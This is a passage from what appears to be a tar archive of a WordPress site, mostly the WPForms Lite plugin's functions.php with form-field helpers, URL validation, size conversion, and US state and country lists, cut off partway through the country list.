/* If user clicks to ignore the notice, add that to their user meta */
if ( isset( $_GET['zerif_nag_ignore_neve'] ) && '0' == $_GET['zerif_nag_ignore_neve'] ) {
add_user_meta( $user_id, 'zerif_ignore_neve_notice', 'true', true );
}
}
add_action( 'admin_init', 'zerif_nag_ignore_neve' );
home/xbodynamge/crosstraining/wp-content/plugins/wpforms-lite/includes/functions.php 0000604 00000144162 15113615027 0025261 0 ustar 00 <?php
/**
* Contains various functions that may be potentially used throughout
* the WPForms plugin.
*
* @package WPForms
* @author WPForms
* @since 1.0.0
* @license GPL-2.0+
* @copyright Copyright (c) 2016, WPForms LLC
*/
/**
* Helper function to trigger displaying a form.
*
* @since 1.0.2
*
* @param mixed $form_id Form ID.
* @param bool $title Form title.
* @param bool $desc Form description.
*/
function wpforms_display( $form_id = false, $title = false, $desc = false ) {
wpforms()->frontend->output( $form_id, $title, $desc );
}
/**
* Performs json_decode and unslash.
*
* @since 1.0.0
*
* @param string $data
*
* @return array|bool
*/
function wpforms_decode( $data ) {
if ( ! $data || empty( $data ) ) {
return false;
}
return wp_unslash( json_decode( $data, true ) );
}
/**
* Performs json_encode and wp_slash.
*
* @since 1.3.1.3
*
* @param mixed $data
*
* @return string
*/
function wpforms_encode( $data = false ) {
if ( empty( $data ) ) {
return false;
}
return wp_slash( wp_json_encode( $data ) );
}
/**
* Check if a string is a valid URL.
*
* @since 1.0.0
*
* @param string $url
*
* @return bool
*/
function wpforms_is_url( $url ) {
if ( preg_match( '_^(?:(?:https?|ftp)://)(?:\S+(?::\S*)?@)?(?:(?!10(?:\.\d{1,3}){3})(?!127(?:\.\d{1,3}){3})(?!169\.254(?:\.\d{1,3}){2})(?!192\.168(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\x{00a1}-\x{ffff}0-9]+-?)*[a-z\x{00a1}-\x{ffff}0-9]+)(?:\.(?:[a-z\x{00a1}-\x{ffff}0-9]+-?)*[a-z\x{00a1}-\x{ffff}0-9]+)*(?:\.(?:[a-z\x{00a1}-\x{ffff}]{2,})))(?::\d{2,5})?(?:/[^\s]*)?$_iuS', trim( $url ) ) ) {
return true;
}
return false;
}
/**
* Get current URL.
*
* @since 1.0.0
*
* @return string
*/
function wpforms_current_url() {
$url = ( ! empty( $_SERVER['HTTPS'] ) ) ? 'https://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
return esc_url_raw( $url );
}
/**
* Object to array.
*
* @since 1.1.7
*
* @param object $object
*
* @return mixed
*/
function wpforms_object_to_array( $object ) {
if ( ! is_object( $object ) && ! is_array( $object ) ) {
return $object;
}
if ( is_object( $object ) ) {
$object = get_object_vars( $object );
}
return array_map( 'wpforms_object_to_array', $object );
}
/**
* Get the value of a specific WPForms setting.
*
* @since 1.0.0
*
* @param string $key
* @param mixed $default
* @param string $option
*
* @return mixed
*/
function wpforms_setting( $key, $default = false, $option = 'wpforms_settings' ) {
$key = wpforms_sanitize_key( $key );
$options = get_option( $option, false );
$value = is_array( $options ) && ! empty( $options[ $key ] ) ? $options[ $key ] : $default;
return $value;
}
/**
* Sanitize key, primarily used for looking up options.
*
* @since 1.3.9
*
* @param string $key
*
* @return string
*/
function wpforms_sanitize_key( $key = '' ) {
return preg_replace( '/[^a-zA-Z0-9_\-\.\:\/]/', '', $key );
}
/**
* Check if form provided contains the specified field type.
*
* @since 1.0.5
*
* @param array|string $type
* @param array|object $form
* @param bool $multiple
*
* @return bool
*/
function wpforms_has_field_type( $type, $form, $multiple = false ) {
$form_data = '';
$field = false;
$type = (array) $type;
if ( $multiple ) {
foreach ( $form as $single_form ) {
$field = wpforms_has_field_type( $type, $single_form );
if ( $field ) {
break;
}
}
return $field;
}
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $single_field ) {
if ( in_array( $single_field['type'], $type, true ) ) {
$field = true;
break;
}
}
return $field;
}
/**
* Check if form provided contains a field which a specific setting.
*
* @since 1.4.5
*
* @param string $setting
* @param object|array $form
* @param bool $multiple
*
* @return bool
*/
function wpforms_has_field_setting( $setting, $form, $multiple = false ) {
$form_data = '';
$field = false;
if ( $multiple ) {
foreach ( $form as $single_form ) {
$field = wpforms_has_field_setting( $setting, $single_form );
if ( $field ) {
break;
}
}
return $field;
}
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $single_field ) {
if ( ! empty( $single_field[ $setting ] ) ) {
$field = true;
break;
}
}
return $field;
}
/**
* Checks if form provided contains page breaks, if so give details.
*
* @since 1.0.0
*
* @param mixed $form
*
* @return mixed
*/
function wpforms_has_pagebreak( $form = false ) {
$form_data = '';
$pagebreak = false;
$pages = 1;
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
$fields = $form_data['fields'];
foreach ( $fields as $field ) {
if ( 'pagebreak' === $field['type'] && empty( $field['position'] ) ) {
$pagebreak = true;
$pages ++;
}
}
if ( $pagebreak ) {
return $pages;
}
return false;
}
/**
* Tries to find and return an top or bottom pagebreak.
*
* @since 1.2.1
*
* @param mixed $form
* @param mixed $type
*
* @return array|bool
*/
function wpforms_get_pagebreak( $form = false, $type = false ) {
$form_data = '';
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
$fields = $form_data['fields'];
$pages = array();
foreach ( $fields as $field ) {
if ( 'pagebreak' === $field['type'] ) {
$position = ! empty( $field['position'] ) ? $field['position'] : false;
if ( 'pages' === $type && 'bottom' !== $position ) {
$pages[] = $field;
} elseif ( $position === $type ) {
return $field;
}
}
}
if ( ! empty( $pages ) ) {
return $pages;
}
return false;
}
/**
* Returns information about pages if the form has multiple pages.
*
* @since 1.3.7
*
* @param mixed $form
*
* @return mixed false or an array
*/
function wpforms_get_pagebreak_details( $form = false ) {
$form_data = '';
$details = array();
$pages = 1;
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $field ) {
if ( 'pagebreak' === $field['type'] ) {
if ( empty( $field['position'] ) ) {
$pages ++;
$details['total'] = $pages;
$details['pages'][] = $field;
} elseif ( 'top' === $field['position'] ) {
$details['top'] = $field;
} elseif ( 'bottom' === $field['position'] ) {
$details['bottom'] = $field;
}
}
}
if ( ! empty( $details ) ) {
if ( empty( $details['top'] ) ) {
$details['top'] = array();
}
if ( empty( $details['bottom'] ) ) {
$details['bottom'] = array();
}
$details['current'] = 1;
return $details;
}
return false;
}
/**
* Formats, sanitizes, and returns/echos HTML element ID, classes, attributes,
* and data attributes.
*
* @since 1.3.7
*
* @param string $id
* @param array $class
* @param array $datas
* @param array $atts
* @param bool $echo
*
* @return string
*/
function wpforms_html_attributes( $id = '', $class = array(), $datas = array(), $atts = array(), $echo = false ) {
$id = trim( $id );
$parts = array();
if ( ! empty( $id ) ) {
$id = sanitize_html_class( $id );
if ( ! empty( $id ) ) {
$parts[] = 'id="' . $id . '"';
}
}
if ( ! empty( $class ) ) {
$class = wpforms_sanitize_classes( $class, true );
if ( ! empty( $class ) ) {
$parts[] = 'class="' . $class . '"';
}
}
if ( ! empty( $datas ) ) {
foreach ( $datas as $data => $val ) {
$parts[] = 'data-' . sanitize_html_class( $data ) . '="' . esc_attr( $val ) . '"';
}
}
if ( ! empty( $atts ) ) {
foreach ( $atts as $att => $val ) {
if ( '0' == $val || ! empty( $val ) ) {
$parts[] = sanitize_html_class( $att ) . '="' . esc_attr( $val ) . '"';
}
}
}
$output = implode( ' ', $parts );
if ( $echo ) {
echo trim( $output ); // phpcs:ignore
} else {
return trim( $output );
}
}
/**
* Sanitizes string of CSS classes.
*
* @since 1.2.1
*
* @param array|string $classes
* @param bool $convert True will convert strings to array and vice versa.
*
* @return string|array
*/
function wpforms_sanitize_classes( $classes, $convert = false ) {
$array = is_array( $classes );
$css = array();
if ( ! empty( $classes ) ) {
if ( ! $array ) {
$classes = explode( ' ', trim( $classes ) );
}
foreach ( $classes as $class ) {
if ( ! empty( $class ) ) {
$css[] = sanitize_html_class( $class );
}
}
}
if ( $array ) {
return $convert ? implode( ' ', $css ) : $css;
}
return $convert ? $css : implode( ' ', $css );
}
/**
* Convert a file size provided, such as "2M", to bytes.
*
* @since 1.0.0
* @link http://stackoverflow.com/a/22500394
*
* @param string $size
*
* @return int
*/
function wpforms_size_to_bytes( $size ) {
if ( is_numeric( $size ) ) {
return $size;
}
$suffix = substr( $size, - 1 );
$value = substr( $size, 0, - 1 );
switch ( strtoupper( $suffix ) ) {
case 'P':
$value *= 1024;
case 'T':
$value *= 1024;
case 'G':
$value *= 1024;
case 'M':
$value *= 1024;
case 'K':
$value *= 1024;
break;
}
return $value;
}
/**
* Convert bytes to megabytes (or in some cases KB).
*
* @since 1.0.0
*
* @param int $bytes Bytes to convert to a readable format.
*
* @return string
*/
function wpforms_size_to_megabytes( $bytes ) {
if ( $bytes < 1048676 ) {
return number_format( $bytes / 1024, 1 ) . ' KB';
} else {
return round( number_format( $bytes / 1048576, 1 ) ) . ' MB';
}
}
/**
* Convert a file size provided, such as "2M", to bytes.
*
* @since 1.0.0
* @link http://stackoverflow.com/a/22500394
*
* @param bool $bytes
*
* @return mixed
*/
function wpforms_max_upload( $bytes = false ) {
$max = wp_max_upload_size();
if ( $bytes ) {
return $max;
} else {
return wpforms_size_to_megabytes( $max );
}
}
/**
* Retrieve actual fields from a form.
*
* Non-posting elements such as section divider, page break, and HTML are
* automatically excluded. Optionally a white list can be provided.
*
* @since 1.0.0
*
* @param mixed $form
* @param array $whitelist
*
* @return mixed boolean or array
*/
function wpforms_get_form_fields( $form = false, $whitelist = array() ) {
// Accept form (post) object or form ID.
if ( is_object( $form ) ) {
$form = wpforms_decode( $form->post_content );
} elseif ( is_numeric( $form ) ) {
$form = wpforms()->form->get(
$form,
array(
'content_only' => true,
)
);
}
if ( ! is_array( $form ) || empty( $form['fields'] ) ) {
return false;
}
// White list of field types to allow.
$allowed_form_fields = array(
'text',
'textarea',
'select',
'radio',
'checkbox',
'gdpr-checkbox',
'email',
'address',
'url',
'name',
'hidden',
'date-time',
'phone',
'number',
'file-upload',
'rating',
'likert_scale',
'signature',
'payment-single',
'payment-multiple',
'payment-select',
'payment-total',
'net_promoter_score',
);
$allowed_form_fields = apply_filters( 'wpforms_get_form_fields_allowed', $allowed_form_fields );
$whitelist = ! empty( $whitelist ) ? $whitelist : $allowed_form_fields;
$form_fields = $form['fields'];
foreach ( $form_fields as $id => $form_field ) {
if ( ! in_array( $form_field['type'], $whitelist, true ) ) {
unset( $form_fields[ $id ] );
}
}
return $form_fields;
}
/**
* Get meta key value for a form field.
*
* @since 1.1.9
*
* @param int|string $id Field ID.
* @param string $key Meta key.
* @param mixed $form_data Form data array.
*
* @return string
*/
function wpforms_get_form_field_meta( $id = '', $key = '', $form_data = '' ) {
if ( empty( $id ) || empty( $key ) || empty( $form_data ) ) {
return '';
}
if ( ! empty( $form_data['fields'][ $id ]['meta'][ $key ] ) ) {
return $form_data['fields'][ $id ]['meta'][ $key ];
} else {
return '';
}
}
/**
* Get meta key value for a form field.
*
* @since 1.3.1
* @since 1.5.0 More strict parameters. Always return an array.
*
* @param string $key Meta key.
* @param string $value Meta value to check against.
* @param array $form_data Form data array.
*
* @return array|bool Empty array, when no data is found.
*/
function wpforms_get_form_fields_by_meta( $key, $value, $form_data ) {
$found = array();
if ( empty( $key ) || empty( $value ) || empty( $form_data['fields'] ) ) {
return $found;
}
foreach ( $form_data['fields'] as $id => $field ) {
if ( ! empty( $field['meta'][ $key ] ) && $value === $field['meta'][ $key ] ) {
$found[ $id ] = $field;
}
}
return $found;
}
/**
* US States.
*
* @since 1.0.0
*
* @return array
*/
function wpforms_us_states() {
$states = array(
'AL' => esc_html__( 'Alabama', 'wpforms-lite' ),
'AK' => esc_html__( 'Alaska', 'wpforms-lite' ),
'AZ' => esc_html__( 'Arizona', 'wpforms-lite' ),
'AR' => esc_html__( 'Arkansas', 'wpforms-lite' ),
'CA' => esc_html__( 'California', 'wpforms-lite' ),
'CO' => esc_html__( 'Colorado', 'wpforms-lite' ),
'CT' => esc_html__( 'Connecticut', 'wpforms-lite' ),
'DE' => esc_html__( 'Delaware', 'wpforms-lite' ),
'DC' => esc_html__( 'District of Columbia', 'wpforms-lite' ),
'FL' => esc_html__( 'Florida', 'wpforms-lite' ),
'GA' => esc_html_x( 'Georgia', 'US State', 'wpforms-lite' ),
'HI' => esc_html__( 'Hawaii', 'wpforms-lite' ),
'ID' => esc_html__( 'Idaho', 'wpforms-lite' ),
'IL' => esc_html__( 'Illinois', 'wpforms-lite' ),
'IN' => esc_html__( 'Indiana', 'wpforms-lite' ),
'IA' => esc_html__( 'Iowa', 'wpforms-lite' ),
'KS' => esc_html__( 'Kansas', 'wpforms-lite' ),
'KY' => esc_html__( 'Kentucky', 'wpforms-lite' ),
'LA' => esc_html__( 'Louisiana', 'wpforms-lite' ),
'ME' => esc_html__( 'Maine', 'wpforms-lite' ),
'MD' => esc_html__( 'Maryland', 'wpforms-lite' ),
'MA' => esc_html__( 'Massachusetts', 'wpforms-lite' ),
'MI' => esc_html__( 'Michigan', 'wpforms-lite' ),
'MN' => esc_html__( 'Minnesota', 'wpforms-lite' ),
'MS' => esc_html__( 'Mississippi', 'wpforms-lite' ),
'MO' => esc_html__( 'Missouri', 'wpforms-lite' ),
'MT' => esc_html__( 'Montana', 'wpforms-lite' ),
'NE' => esc_html__( 'Nebraska', 'wpforms-lite' ),
'NV' => esc_html__( 'Nevada', 'wpforms-lite' ),
'NH' => esc_html__( 'New Hampshire', 'wpforms-lite' ),
'NJ' => esc_html__( 'New Jersey', 'wpforms-lite' ),
'NM' => esc_html__( 'New Mexico', 'wpforms-lite' ),
'NY' => esc_html__( 'New York', 'wpforms-lite' ),
'NC' => esc_html__( 'North Carolina', 'wpforms-lite' ),
'ND' => esc_html__( 'North Dakota', 'wpforms-lite' ),
'OH' => esc_html__( 'Ohio', 'wpforms-lite' ),
'OK' => esc_html__( 'Oklahoma', 'wpforms-lite' ),
'OR' => esc_html__( 'Oregon', 'wpforms-lite' ),
'PA' => esc_html__( 'Pennsylvania', 'wpforms-lite' ),
'RI' => esc_html__( 'Rhode Island', 'wpforms-lite' ),
'SC' => esc_html__( 'South Carolina', 'wpforms-lite' ),
'SD' => esc_html__( 'South Dakota', 'wpforms-lite' ),
'TN' => esc_html__( 'Tennessee', 'wpforms-lite' ),
'TX' => esc_html__( 'Texas', 'wpforms-lite' ),
'UT' => esc_html__( 'Utah', 'wpforms-lite' ),
'VT' => esc_html__( 'Vermont', 'wpforms-lite' ),
'VA' => esc_html__( 'Virginia', 'wpforms-lite' ),
'WA' => esc_html__( 'Washington', 'wpforms-lite' ),
'WV' => esc_html__( 'West Virginia', 'wpforms-lite' ),
'WI' => esc_html__( 'Wisconsin', 'wpforms-lite' ),
'WY' => esc_html__( 'Wyoming', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_us_states', $states );
}
/**
* Countries.
*
* @since 1.0.0
*
* @return array
*/
function wpforms_countries() {
$countries = array(
'AF' => esc_html__( 'Afghanistan', 'wpforms-lite' ),
'AX' => esc_html__( 'Åland Islands', 'wpforms-lite' ),
'AL' => esc_html__( 'Albania', 'wpforms-lite' ),
'DZ' => esc_html__( 'Algeria', 'wpforms-lite' ),
'AS' => esc_html__( 'American Samoa', 'wpforms-lite' ),
'AD' => esc_html__( 'Andorra', 'wpforms-lite' ),
'AO' => esc_html__( 'Angola', 'wpforms-lite' ),
'AI' => esc_html__( 'Anguilla', 'wpforms-lite' ),
'AQ' => esc_html__( 'Antarctica', 'wpforms-lite' ),
'AG' => esc_html__( 'Antigua and Barbuda', 'wpforms-lite' ),
'AR' => esc_html__( 'Argentina', 'wpforms-lite' ),
'AM' => esc_html__( 'Armenia', 'wpforms-lite' ),
'AW' => esc_html__( 'Aruba', 'wpforms-lite' ),
'AU' => esc_html__( 'Australia', 'wpforms-lite' ),
'AT' => esc_html__( 'Austria', 'wpforms-lite' ),
'AZ' => esc_html__( 'Azerbaijan', 'wpforms-lite' ),
'BS' => esc_html__( 'Bahamas', 'wpforms-lite' ),
'BH' => esc_html__( 'Bahrain', 'wpforms-lite' ),
'BD' => esc_html__( 'Bangladesh', 'wpforms-lite' ),
'BB' => esc_html__( 'Barbados', 'wpforms-lite' ),
'BY' => esc_html__( 'Belarus', 'wpforms-lite' ),
'BE' => esc_html__( 'Belgium', 'wpforms-lite' ),
'BZ' => esc_html__( 'Belize', 'wpforms-lite' ),
'BJ' => esc_html__( 'Benin', 'wpforms-lite' ),
'BM' => esc_html__( 'Bermuda', 'wpforms-lite' ),
'BT' => esc_html__( 'Bhutan', 'wpforms-lite' ),
'BO' => esc_html__( 'Bolivia (Plurinational State of)', 'wpforms-lite' ),
'BA' => esc_html__( 'Bosnia and Herzegovina', 'wpforms-lite' ),
'BW' => esc_html__( 'Botswana', 'wpforms-lite' ),
'BV' => esc_html__( 'Bouvet Island', 'wpforms-lite' ),
'BR' => esc_html__( 'Brazil', 'wpforms-lite' ),
'IO' => esc_html__( 'British Indian Ocean Territory', 'wpforms-lite' ),
'BN' => esc_html__( 'Brunei Darussalam', 'wpforms-lite' ),
'BG' => esc_html__( 'Bulgaria', 'wpforms-lite' ),
'BF' => esc_html__( 'Burkina Faso', 'wpforms-lite' ),
'BI' => esc_html__( 'Burundi', 'wpforms-lite' ),
'CV' => esc_html__( 'Cabo Verde', 'wpforms-lite' ),
'KH' => esc_html__( 'Cambodia', 'wpforms-lite' ),
'CM' => esc_html__( 'Cameroon', 'wpforms-lite' ),
'CA' => esc_html__( 'Canada', 'wpforms-lite' ),
'KY' => esc_html__( 'Cayman Islands', 'wpforms-lite' ),
'CF' => esc_html__( 'Central African Republic', 'wpforms-lite' ),
'TD' => esc_html__( 'Chad', 'wpforms-lite' ),
'CL' => esc_html__( 'Chile', 'wpforms-lite' ),
'CN' => esc_html__( 'China', 'wpforms-lite' ),
'CX' => esc_html__( 'Christmas Island', 'wpforms-lite' ),
'CC' => esc_html__( 'Cocos (Keeling) Islands', 'wpforms-lite' ),
'CO' => esc_html__( 'Colombia', 'wpforms-lite' ),
'KM' => esc_html__( 'Comoros', 'wpforms-lite' ),
'CG' => esc_html__( 'Congo', 'wpforms-lite' ),
'CD' => esc_html__( 'Congo (Democratic Republic of the)', 'wpforms-lite' ),
'CK' => esc_html__( 'Cook Islands', 'wpforms-lite' ),
'CR' => esc_html__( 'Costa Rica', 'wpforms-lite' ),
'CI' => esc_html__( 'Côte d\'Ivoire', 'wpforms-lite' ),
'HR' => esc_html__( 'Croatia', 'wpforms-lite' ),
'CU' => esc_html__( 'Cuba', 'wpforms-lite' ),
'CW' => esc_html__( 'Curaçao', 'wpforms-lite' ),
'CY' => esc_html__( 'Cyprus', 'wpforms-lite' ),
'CZ' => esc_html__( 'Czech Republic', 'wpforms-lite' ),
'DK' => esc_html__( 'Denmark', 'wpforms-lite' ),
'DJ' => esc_html__( 'Djibouti', 'wpforms-lite' ),
'DM' => esc_html__( 'Dominica', 'wpforms-lite' ),
'DO' => esc_html__( 'Dominican Republic', 'wpforms-lite' ),
'EC' => esc_html__( 'Ecuador', 'wpforms-lite' ),
'EG' => esc_html__( 'Egypt', 'wpforms-lite' ),
'SV' => esc_html__( 'El Salvador', 'wpforms-lite' ),
'GQ' => esc_html__( 'Equatorial Guinea', 'wpforms-lite' ),
'ER' => esc_html__( 'Eritrea', 'wpforms-lite' ),
'EE' => esc_html__( 'Estonia', 'wpforms-lite' ),
'ET' => esc_html__( 'Ethiopia', 'wpforms-lite' ),
'FK' => esc_html__( 'Falkland Islands (Malvinas)', 'wpforms-lite' ),
'FO' => esc_html__( 'Faroe Islands', 'wpforms-lite' ),
'FJ' => esc_html__( 'Fiji', 'wpforms-lite' ),
'FI' => esc_html__( 'Finland', 'wpforms-lite' ),
'FR' => esc_html__( 'France', 'wpforms-lite' ),
'GF' => esc_html__( 'French Guiana', 'wpforms-lite' ),
'PF' => esc_html__( 'French Polynesia', 'wpforms-lite' ),
'TF' => esc_html__( 'French Southern Territories', 'wpforms-lite' ),
'GA' => esc_html__( 'Gabon', 'wpforms-lite' ),
'GM' => esc_html__( 'Gambia', 'wpforms-lite' ),
'GE' => esc_html_x( 'Georgia', 'Country', 'wpforms-lite' ),
'DE' => esc_html__( 'Germany', 'wpforms-lite' ),
'GH' => esc_html__( 'Ghana', 'wpforms-lite' ),
'GI' => esc_html__( 'Gibraltar', 'wpforms-lite' ),
'GR' => esc_html__( 'Greece', 'wpforms-lite' ),
'GL' => esc_html__( 'Greenland', 'wpforms-lite' ),
'GD' => esc_html__( 'Grenada', 'wpforms-lite' ),
'GP' => esc_html__( 'Guadeloupe', 'wpforms-lite' ),
'GU' => esc_html__( 'Guam', 'wpforms-lite' ),
'GT' => esc_html__( 'Guatemala', 'wpforms-lite' ),
'GG' => esc_html__( 'Guernsey', 'wpforms-lite' ),
'GN' => esc_html__( 'Guinea', 'wpforms-lite' ),
'GW' => esc_html__( 'Guinea-Bissau', 'wpforms-lite' ),
'GY' => esc_html__( 'Guyana', 'wpforms-lite' ),
'HT' => esc_html__( 'Haiti', 'wpforms-lite' ),
'HM' => esc_html__( 'Heard Island and McDonald Islands', 'wpforms-lite' ),
'HN' => esc_html__( 'Honduras', 'wpforms-lite' ),
'HK' => esc_html__( 'Hong Kong', 'wpforms-lite' ),
'HU' => esc_html__( 'Hungary', 'wpforms-lite' ),
'IS' => esc_html__( 'Iceland', 'wpforms-lite' ),
'IN' => esc_html__( 'India', 'wpforms-lite' ),
'ID' => esc_html__( 'Indonesia', 'wpforms-lite' ),
'IR' => esc_html__( 'Iran (Islamic Republic of)', 'wpforms-lite' ),
'IQ' => esc_html__( 'Iraq', 'wpforms-lite' ),
'IE' => esc_html__( 'Ireland (Republic of)', 'wpforms-lite' ),
'IM' => esc_html__( 'Isle of Man', 'wpforms-lite' ),
'IL' => esc_html__( 'Israel', 'wpforms-lite' ),
'IT' => esc_html__( 'Italy', 'wpforms-lite' ),
'JM' => esc_html__( 'Jamaica', 'wpforms-lite' ),
'JP' => esc_html__( 'Japan', 'wpforms-lite' ),
'JE' => esc_html__( 'Jersey', 'wpforms-lite' ),
'JO' => esc_html__( 'Jordan', 'wpforms-lite' ),
'KZ' => esc_html__( 'Kazakhstan', 'wpforms-lite' ),
'KE' => esc_html__( 'Kenya', 'wpforms-lite' ),
'KI' => esc_html__( 'Kiribati', 'wpforms-lite' ),
'KP' => esc_html__( 'Korea (Democratic People\'s Republic of)', 'wpforms-lite' ),
'KR' => esc_html__( 'Korea (Republic of)', 'wpforms-lite' ),
'KW' => esc_html__( 'Kuwait', 'wpforms-lite' ),
'KG' => esc_html__( 'Kyrgyzstan', 'wpforms-lite' ),
'LA' => esc_html__( 'Lao People\'s Democratic Republic', 'wpforms-lite' ),
'LV' => esc_html__( 'Latvia', 'wpforms-lite' ),
'LB' => esc_html__( 'Lebanon', 'wpforms-lite' ),
'LS' => esc_html__( 'Lesotho', 'wpforms-lite' ),
'LR' => esc_html__( 'Liberia', 'wpforms-lite' ),
'LY' => esc_html__( 'Libya', 'wpforms-lite' ),
'LI' => esc_html__( 'Liechtenstein', 'wpforms-lite' ),
'LT' => esc_html__( 'Lithuania', 'wpforms-lite' ),
'LU' => esc_html__( 'Luxembourg', 'wpforms-lite' ),
'MO' => esc_html__( 'Macao', 'wpforms-lite' ),
'MK' => esc_html__( 'Macedonia (Republic of)', 'wpforms-lite' ),
'MG' => esc_html__( 'Madagascar', 'wpforms-lite' ),
'MW' => esc_html__( 'Malawi', 'wpforms-lite' ),
'MY' => esc_html__( 'Malaysia', 'wpforms-lite' ),
'MV' => esc_html__( 'Maldives', 'wpforms-lite' ),
'ML' => esc_html__( 'Mali', 'wpforms-lite' ),
'MT' => esc_html__( 'Malta', 'wpforms-lite' ),
'MH' => esc_html__( 'Marshall Islands', 'wpforms-lite' ),
'MQ' => esc_html__( 'Martinique', 'wpforms-lite' ),
'MR' => esc_html__( 'Mauritania', 'wpforms-lite' ),
'MU' => esc_html__( 'Mauritius', 'wpforms-lite' ),
'YT' => esc_html__( 'Mayotte', 'wpforms-lite' ),
'MX' => esc_html__( 'Mexico', 'wpforms-lite' ),
'FM' => esc_html__( 'Micronesia (Federated States of)', 'wpforms-lite' ),
'MD' => esc_html__( 'Moldova (Republic of)', 'wpforms-lite' ),
'MC' => esc_html__( 'Monaco', 'wpforms-lite' ),
'MN' => esc_html__( 'Mongolia', 'wpforms-lite' ),
'ME' => esc_html__( 'Montenegro', 'wpforms-lite' ),
'MS' => esc_html__( 'Montserrat', 'wpforms-lite' ),
'MA' => esc_html__( 'Morocco', 'wpforms-lite' ),
'MZ' => esc_html__( 'Mozambique', 'wpforms-lite' ),
'MM' => esc_html__( 'Myanmar', 'wpforms-lite' ),
'NA' => esc_html__( 'Namibia', 'wpforms-lite' ),
'NR' => esc_html__( 'Nauru', 'wpforms-lite' ),
'NP' => esc_html__( 'Nepal', 'wpforms-lite' ),
'NL' => esc_html__( 'Netherlands', 'wpforms-lite' ),
'NC' => esc_html__( 'New Caledonia', 'wpforms-lite' ),
'NZ' => esc_html__( 'New Zealand', 'wpforms-lite' ),
'NI' => esc_html__( 'Nicaragua', 'wpforms-lite' ),
'NE' => esc_html__( 'Niger', 'wpforms-lite' ),
'NG' => esc_html__( 'Nigeria', 'wpforms-lite' ),
'NU' => esc_html__( 'Niue', 'wpforms-lite' ),
'NF' => esc_html__( 'Norfolk Island', 'wpforms-lite' ),
'MP' => esc_html__( 'Northern Mariana Islands', 'wpforms-lite' ),
'NO' => esc_html__( 'Norway', 'wpforms-lite' ),
'OM' => esc_html__( 'Oman', 'wpforms-lite' ),
'PK' => esc_html__( 'Pakistan', 'wpforms-lite' ),
'PW' => esc_html__( 'Palau', 'wpforms-lite' ),
'PS' => esc_html__( 'Palestine (State of)', 'wpforms-lite' ),
'PA' => esc_html__( 'Panama', 'wpforms-lite' ),
'PG' => esc_html__( 'Papua New Guinea', 'wpforms-lite' ),
'PY' => esc_html__( 'Paraguay', 'wpforms-lite' ),
'PE' => esc_html__( 'Peru', 'wpforms-lite' ),
'PH' => esc_html__( 'Philippines', 'wpforms-lite' ),
'PN' => esc_html__( 'Pitcairn', 'wpforms-lite' ),
'PL' => esc_html__( 'Poland', 'wpforms-lite' ),
'PT' => esc_html__( 'Portugal', 'wpforms-lite' ),
'PR' => esc_html__( 'Puerto Rico', 'wpforms-lite' ),
'QA' => esc_html__( 'Qatar', 'wpforms-lite' ),
'RE' => esc_html__( 'Réunion', 'wpforms-lite' ),
'RO' => esc_html__( 'Romania', 'wpforms-lite' ),
'RU' => esc_html__( 'Russian Federation', 'wpforms-lite' ),
'RW' => esc_html__( 'Rwanda', 'wpforms-lite' ),
'BL' => esc_html__( 'Saint Barthélemy', 'wpforms-lite' ),
'SH' => esc_html__( 'Saint Helena, Ascension and Tristan da Cunha', 'wpforms-lite' ),
'KN' => esc_html__( 'Saint Kitts and Nevis', 'wpforms-lite' ),
'LC' => esc_html__( 'Saint Lucia', 'wpforms-lite' ),
'MF' => esc_html__( 'Saint Martin (French part)', 'wpforms-lite' ),
'PM' => esc_html__( 'Saint Pierre and Miquelon', 'wpforms-lite' ),
'VC' => esc_html__( 'Saint Vincent and the Grenadines', 'wpforms-lite' ),
'WS' => esc_html__( 'Samoa', 'wpforms-lite' ),
'SM' => esc_html__( 'San Marino', 'wpforms-lite' ),
'ST' => esc_html__( 'Sao Tome and Principe', 'wpforms-lite' ),
'SA' => esc_html__( 'Saudi Arabia', 'wpforms-lite' ),
'SN' => esc_html__( 'Senegal', 'wpforms-lite' ),
'RS' => esc_html__( 'Serbia', 'wpforms-lite' ),
'SC' => esc_html__( 'Seychelles', 'wpforms-lite' ),
'SL' => esc_html__( 'Sierra Leone', 'wpforms-lite' ),
'SG' => esc_html__( 'Singapore', 'wpforms-lite' ),
'SX' => esc_html__( 'Sint Maarten (Dutch part)', 'wpforms-lite' ),
'SK' => esc_html__( 'Slovakia', 'wpforms-lite' ),
'SI' => esc_html__( 'Slovenia', 'wpforms-lite' ),
'SB' => esc_html__( 'Solomon Islands', 'wpforms-lite' ),
'SO' => esc_html__( 'Somalia', 'wpforms-lite' ),
'ZA' => esc_html__( 'South Africa', 'wpforms-lite' ),
'GS' => esc_html__( 'South Georgia and the South Sandwich Islands', 'wpforms-lite' ),
'SS' => esc_html__( 'South Sudan', 'wpforms-lite' ),
'ES' => esc_html__( 'Spain', 'wpforms-lite' ),
'LK' => esc_html__( 'Sri Lanka', 'wpforms-lite' ),
'SD' => esc_html__( 'Sudan', 'wpforms-lite' ),
